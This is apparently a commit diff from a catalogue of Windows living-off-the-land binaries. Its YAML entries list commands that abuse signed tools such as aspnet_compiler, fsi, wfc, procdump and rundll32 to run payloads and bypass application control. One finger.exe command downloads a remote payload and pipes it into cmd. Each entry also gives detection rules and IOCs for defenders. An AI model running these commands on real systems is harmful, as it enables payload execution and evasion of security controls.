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Fixing file formating.

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xenoscr 2022-09-11 01:33:36 -04:00
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yml/OSBinaries/.AppInstaller.yml.swp Normal file
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yml/OSBinaries/Aspnet_Compiler.yml
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---
Name: Aspnet_Compiler.exe
Description: ASP.NET Compilation Tool
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u
Description: Execute C# code with the Build Provider and proper folder structure in place.
Usecase: Execute proxied payload with Microsoft signed binary to bypass application control solutions
Category: AWL Bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows 10
Full_Path:
- Path: c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
- Path: c:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
Code_Sample:
- Code: https://github.com/ThunderGunExpress/BringYourOwnBuilder
Detection:
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Sigma: https://github.com/SigmaHQ/sigma/blob/960a03eaf480926ed8db464477335a713e9e6630/rules/windows/process_creation/win_pc_lobas_aspnet_compiler.yml
Resources:
- Link: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
- Link: https://docs.microsoft.com/en-us/dotnet/api/system.web.compilation.buildprovider.generatecode?view=netframework-4.8
Acknowledgement:
- Person: cpl
Handle: '@cpl3h'
---
Name: Aspnet_Compiler.exe
Description: ASP.NET Compilation Tool
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u
Description: Execute C# code with the Build Provider and proper folder structure in place.
Usecase: Execute proxied payload with Microsoft signed binary to bypass application control solutions
Category: AWL Bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows 10
Full_Path:
- Path: c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
- Path: c:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
Code_Sample:
- Code: https://github.com/ThunderGunExpress/BringYourOwnBuilder
Detection:
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Sigma: https://github.com/SigmaHQ/sigma/blob/960a03eaf480926ed8db464477335a713e9e6630/rules/windows/process_creation/win_pc_lobas_aspnet_compiler.yml
Resources:
- Link: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
- Link: https://docs.microsoft.com/en-us/dotnet/api/system.web.compilation.buildprovider.generatecode?view=netframework-4.8
Acknowledgement:
- Person: cpl
Handle: '@cpl3h'

60
yml/OSBinaries/Finger.yml
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---
Name: Finger.exe
Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon
Author: Ruben Revuelta
Created: 2021-08-30
Commands:
- Command: finger user@example.host.com | more +2 | cmd
Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.'
Usecase: Download malicious payload
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022
Full_Path:
- Path: c:\windows\system32\finger.exe
- Path: c:\windows\syswow64\finger.exe
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_finger_usage.yml
- IOC: finger.exe should not be run on a normal workstation.
- IOC: finger.exe connecting to external resources.
Resources:
- Link: https://twitter.com/DissectMalware/status/997340270273409024
- Link: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)
Acknowledgement:
- Person: Ruben Revuelta (MAPFRE CERT)
Handle: '@rubn_RB'
- Person: Jose A. Jimenez (MAPFRE CERT)
Handle: '@Ocelotty6669'
- Person: Malwrologist
Handle: '@DissectMalware'
---
Name: Finger.exe
Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon
Author: Ruben Revuelta
Created: 2021-08-30
Commands:
- Command: finger user@example.host.com | more +2 | cmd
Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.'
Usecase: Download malicious payload
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022
Full_Path:
- Path: c:\windows\system32\finger.exe
- Path: c:\windows\syswow64\finger.exe
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_finger_usage.yml
- IOC: finger.exe should not be run on a normal workstation.
- IOC: finger.exe connecting to external resources.
Resources:
- Link: https://twitter.com/DissectMalware/status/997340270273409024
- Link: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)
Acknowledgement:
- Person: Ruben Revuelta (MAPFRE CERT)
Handle: '@rubn_RB'
- Person: Jose A. Jimenez (MAPFRE CERT)
Handle: '@Ocelotty6669'
- Person: Malwrologist
Handle: '@DissectMalware'

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yml/OSLibraries/Dfshim.yml
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---
Name: Dfshim.dll
Description: ClickOnce engine in Windows used by .NET
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
Description: Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)
Usecase: Use binary to bypass Application whitelisting
Category: AWL Bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_rundll32_activity.yml
Resources:
- Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
- Link: https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe
Acknowledgement:
- Person: Casey Smith
Handle: '@subtee'
---
Name: Dfshim.dll
Description: ClickOnce engine in Windows used by .NET
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
Description: Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)
Usecase: Use binary to bypass Application whitelisting
Category: AWL Bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_rundll32_activity.yml
Resources:
- Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
- Link: https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe
Acknowledgement:
- Person: Casey Smith
Handle: '@subtee'

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yml/OSScripts/CL_LoadAssembly.yml
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---
Name: CL_LoadAssembly.ps1
Description: PowerShell Diagnostic Script
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: '”powershell.exe -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()'
Description: Proxy execute Managed DLL with PowerShell
Usecase: Execute proxied payload with Microsoft signed binary
Category: Execute
Privileges: User
MitreID: T1216
OperatingSystem: Windows 10 21H1 (likely other versions as well)
Full_Path:
- Path: C:\Windows\diagnostics\system\Audio\CL_LoadAssembly.ps1
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/ff6c54ded6b52f379cec11fe17c1ccb956faa660/rules/windows/process_creation/proc_creation_win_lolbas_cl_loadassembly.yml
Resources:
- Link: https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/
Acknowledgement:
- Person: Jimmy
Handle: '@bohops'
---
Name: CL_LoadAssembly.ps1
Description: PowerShell Diagnostic Script
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: '”powershell.exe -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()'
Description: Proxy execute Managed DLL with PowerShell
Usecase: Execute proxied payload with Microsoft signed binary
Category: Execute
Privileges: User
MitreID: T1216
OperatingSystem: Windows 10 21H1 (likely other versions as well)
Full_Path:
- Path: C:\Windows\diagnostics\system\Audio\CL_LoadAssembly.ps1
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/ff6c54ded6b52f379cec11fe17c1ccb956faa660/rules/windows/process_creation/proc_creation_win_lolbas_cl_loadassembly.yml
Resources:
- Link: https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/
Acknowledgement:
- Person: Jimmy
Handle: '@bohops'

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yml/OtherMSBinaries/Fsi.yml
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---
Name: Fsi.exe
Description: 64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK.
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: fsi.exe c:\path\to\test.fsscript
Description: Execute F# code via script file
Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
Category: AWL Bypass
Privileges: User
MitreID: T1059
OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
- Command: fsi.exe
Description: Execute F# code via interactive command line
Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
Category: AWL Bypass
Privileges: User
MitreID: T1059
OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
Full_Path:
- Path: C:\Program Files\dotnet\sdk\[sdk version]\FSharp\fsi.exe
- Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsi.exe
Code_Sample:
- Code: https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1
Detection:
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: Fsi.exe execution may be suspicious on non-developer machines
Resources:
- Link: https://twitter.com/NickTyrer/status/904273264385589248
- Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
Acknowledgement:
- Person: Nick Tyrer
Handle: '@NickTyrer'
- Person: Jimmy
Handle: '@bohops'
---
Name: Fsi.exe
Description: 64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK.
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: fsi.exe c:\path\to\test.fsscript
Description: Execute F# code via script file
Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
Category: AWL Bypass
Privileges: User
MitreID: T1059
OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
- Command: fsi.exe
Description: Execute F# code via interactive command line
Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies
Category: AWL Bypass
Privileges: User
MitreID: T1059
OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
Full_Path:
- Path: C:\Program Files\dotnet\sdk\[sdk version]\FSharp\fsi.exe
- Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsi.exe
Code_Sample:
- Code: https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1
Detection:
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: Fsi.exe execution may be suspicious on non-developer machines
Resources:
- Link: https://twitter.com/NickTyrer/status/904273264385589248
- Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
Acknowledgement:
- Person: Nick Tyrer
Handle: '@NickTyrer'
- Person: Jimmy
Handle: '@bohops'

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yml/OtherMSBinaries/Procdump.yml
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---
Name: Procdump(64).exe
Description: SysInternals Memory Dump Tool
Author: 'Alfie Champion (@ajpc500)'
Created: '2020-10-14'
Commands:
- Command: procdump.exe -md calc.dll explorer.exe
Description: Loads calc.dll where DLL is configured with a 'MiniDumpCallbackRoutine' exported function. Valid process must be provided as dump still created.
Usecase: Performs execution of unsigned DLL.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 8.1 and higher, Windows Server 2012 and higher.
- Command: procdump.exe -md calc.dll foobar
Description: Loads calc.dll where configured with DLL_PROCESS_ATTACH execution, process argument can be arbitrary.
Usecase: Performs execution of unsigned DLL.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 8.1 and higher, Windows Server 2012 and higher.
Full_Path:
- Path: no default
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/f36b1cbd2a3f1a7423f43a67a182549778700615/rules/windows/process_creation/win_susp_procdump.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/f36b1cbd2a3f1a7423f43a67a182549778700615/rules/windows/process_creation/win_procdump.yml
- Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/dump_lsass_via_procdump.yml
- Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml
- IOC: Process creation with given '-md' parameter
- IOC: Anomalous child processes of procdump
- IOC: Unsigned DLL load via procdump.exe or procdump64.exe
Resources:
- Link: https://twitter.com/ajpc500/status/1448588362382778372?s=20
Acknowledgement:
- Person: Alfie Champion
Handle: '@ajpc500'
---
Name: Procdump(64).exe
Description: SysInternals Memory Dump Tool
Author: 'Alfie Champion (@ajpc500)'
Created: '2020-10-14'
Commands:
- Command: procdump.exe -md calc.dll explorer.exe
Description: Loads calc.dll where DLL is configured with a 'MiniDumpCallbackRoutine' exported function. Valid process must be provided as dump still created.
Usecase: Performs execution of unsigned DLL.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 8.1 and higher, Windows Server 2012 and higher.
- Command: procdump.exe -md calc.dll foobar
Description: Loads calc.dll where configured with DLL_PROCESS_ATTACH execution, process argument can be arbitrary.
Usecase: Performs execution of unsigned DLL.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 8.1 and higher, Windows Server 2012 and higher.
Full_Path:
- Path: no default
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/f36b1cbd2a3f1a7423f43a67a182549778700615/rules/windows/process_creation/win_susp_procdump.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/f36b1cbd2a3f1a7423f43a67a182549778700615/rules/windows/process_creation/win_procdump.yml
- Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/dump_lsass_via_procdump.yml
- Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml
- IOC: Process creation with given '-md' parameter
- IOC: Anomalous child processes of procdump
- IOC: Unsigned DLL load via procdump.exe or procdump64.exe
Resources:
- Link: https://twitter.com/ajpc500/status/1448588362382778372?s=20
Acknowledgement:
- Person: Alfie Champion
Handle: '@ajpc500'

60
yml/OtherMSBinaries/VisualUiaVerifyNative.yml
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---
Name: VisualUiaVerifyNative.exe
Description: A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: VisualUiaVerifyNative.exe
Description: Generate Serialized gadget and save to - C:\Users\[current user]\AppData\Roaminguiverify.config before executing.
Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
Category: AWL Bypass
Privileges: User
MitreID: T1218
OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
Full_Path:
- Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\arm64\UIAVerify\VisualUiaVerifyNative.exe
- Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\x64\UIAVerify\VisualUiaVerifyNative.exe
- Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\UIAVerify\VisualUiaVerifyNative.exe
Code_Sample:
- Code:
Detection:
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: As a Windows SDK binary, execution on a system may be suspicious
Resources:
- Link: https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/
- Link: https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad
Acknowledgement:
- Person: Lee Christensen
Handle: '@tifkin'
- Person: Jimmy
Handle: '@bohops'
---
Name: VisualUiaVerifyNative.exe
Description: A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: VisualUiaVerifyNative.exe
Description: Generate Serialized gadget and save to - C:\Users\[current user]\AppData\Roaminguiverify.config before executing.
Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
Category: AWL Bypass
Privileges: User
MitreID: T1218
OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
Full_Path:
- Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\arm64\UIAVerify\VisualUiaVerifyNative.exe
- Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\x64\UIAVerify\VisualUiaVerifyNative.exe
- Path: c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\UIAVerify\VisualUiaVerifyNative.exe
Code_Sample:
- Code:
Detection:
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: As a Windows SDK binary, execution on a system may be suspicious
Resources:
- Link: https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/
- Link: https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad
Acknowledgement:
- Person: Lee Christensen
Handle: '@tifkin'
- Person: Jimmy
Handle: '@bohops'

54
yml/OtherMSBinaries/Wfc.yml
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---
Name: Wfc.exe
Description: The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK).
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: wfc.exe c:\path\to\test.xoml
Description: Execute arbitrary C# code embedded in a XOML file.
Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
Category: AWL Bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
Full_Path:
- Path: C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\wfc.exe
Code_Sample:
- Code: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
Detection:
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: As a Windows SDK binary, execution on a system may be suspicious
Resources:
- Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
Acknowledgement:
- Person: Matt Graeber
Handle: '@mattifestation'
- Person: Jimmy
Handle: '@bohops'
---
Name: Wfc.exe
Description: The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK).
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: wfc.exe c:\path\to\test.xoml
Description: Execute arbitrary C# code embedded in a XOML file.
Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
Category: AWL Bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
Full_Path:
- Path: C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\wfc.exe
Code_Sample:
- Code: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
Detection:
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: As a Windows SDK binary, execution on a system may be suspicious
Resources:
- Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
Acknowledgement:
- Person: Matt Graeber
Handle: '@mattifestation'
- Person: Jimmy
Handle: '@bohops'